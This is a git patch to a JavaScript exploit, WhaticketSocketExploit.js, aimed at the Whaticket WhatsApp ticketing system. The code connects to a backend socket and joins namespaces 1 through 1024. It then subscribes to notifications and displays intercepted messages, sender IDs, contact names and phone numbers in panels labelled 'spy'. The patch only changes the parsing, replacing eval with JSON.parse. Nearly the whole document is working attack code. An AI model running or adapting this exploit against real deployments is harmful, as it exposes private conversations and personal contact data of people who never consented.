From 5fd6f8330e617890695e63f00e45f8285a92d1fd Mon Sep 17 00:00:00 2001 From: lucasgcavalcante Date: Sat, 11 Jan 2025 10:13:33 -0400 Subject: [PATCH] fix json parsing --- WhaticketSocketExploit.js | 53 ++++++++++++++++++++++----------------- 1 file changed, 30 insertions(+), 23 deletions(-) diff --git a/WhaticketSocketExploit.js b/WhaticketSocketExploit.js index 5e63b4f..3d214a1 100644 --- a/WhaticketSocketExploit.js +++ b/WhaticketSocketExploit.js @@ -14,13 +14,13 @@ const runTest = (backend_url, token) => { } spyOthers.insertAdjacentHTML("afterbegin", "

Initialized

"); - spySocket.onmessage = function(event) { + spySocket.onmessage = function (event) { if (event.data.startsWith("0{")) { setTimeout(() => { spyOthers.insertAdjacentHTML("afterbegin", "
Sending handshake
"); spySocket.send("40"); spyOthers.insertAdjacentHTML("afterbegin", "
Connecting to namespaces from 1 to 1024
"); - for (n=1; n<=1024; n++) { + for (n = 1; n <= 1024; n++) { spySocket.send(`40/${n},`); } }, 1000); @@ -33,28 +33,35 @@ const runTest = (backend_url, token) => { spySocket.send('42["joinNotification"]'); }, 2000); } else if (event.data.startsWith("42")) { - data = eval(event.data.substr(event.data.indexOf(',')+1)); - console.log(data); - if (data[0].endsWith('appMessage')) { - if (data[1]?.message?.body) { - spyMessages.insertAdjacentHTML("afterbegin", ` -
- From: ${data[1].message.fromMe ? "Me" : data[1].message.remoteJid}
- Message: ${data[1].message.body} -
- `); - } - } else if (data[0].endsWith('contact')) { - if (data[1]?.contact?.name) { - spyContacts.insertAdjacentHTML("afterbegin", ` -
- Name: ${data[1].contact.name}
- Number: ${data[1].contact.number} -
- `); + try { + let jsonString = event.data.substr(event.data.indexOf(',') + 1).replace(/]$/, ''); + console.log('JSON string to parse:', jsonString); + let data = JSON.parse(jsonString); + console.log('Parsed data:', data); + + if (data.action === 'create' || data.action === 'update') { + if (data.message && data.message.body) { + spyMessages.insertAdjacentHTML("afterbegin", ` +
+ From: ${data.message.fromMe ? "Me" : data.message.remoteJid}
+ Message: ${data.message.body} +
+ `); + } else if (data.contact && data.contact.name) { + spyContacts.insertAdjacentHTML("afterbegin", ` +
+ Name: ${data.contact.name}
+ Number: ${data.contact.number} +
+ `); + } else { + spyOthers.insertAdjacentHTML("afterbegin", "
" + JSON.stringify(data) + "
"); + } + } else { + spyOthers.insertAdjacentHTML("afterbegin", "
" + JSON.stringify(data) + "
"); } - } else { - spyOthers.insertAdjacentHTML("afterbegin", "
" + JSON.stringify(data) + "
"); + } catch (error) { + console.error('Error parsing message data:', error); } } }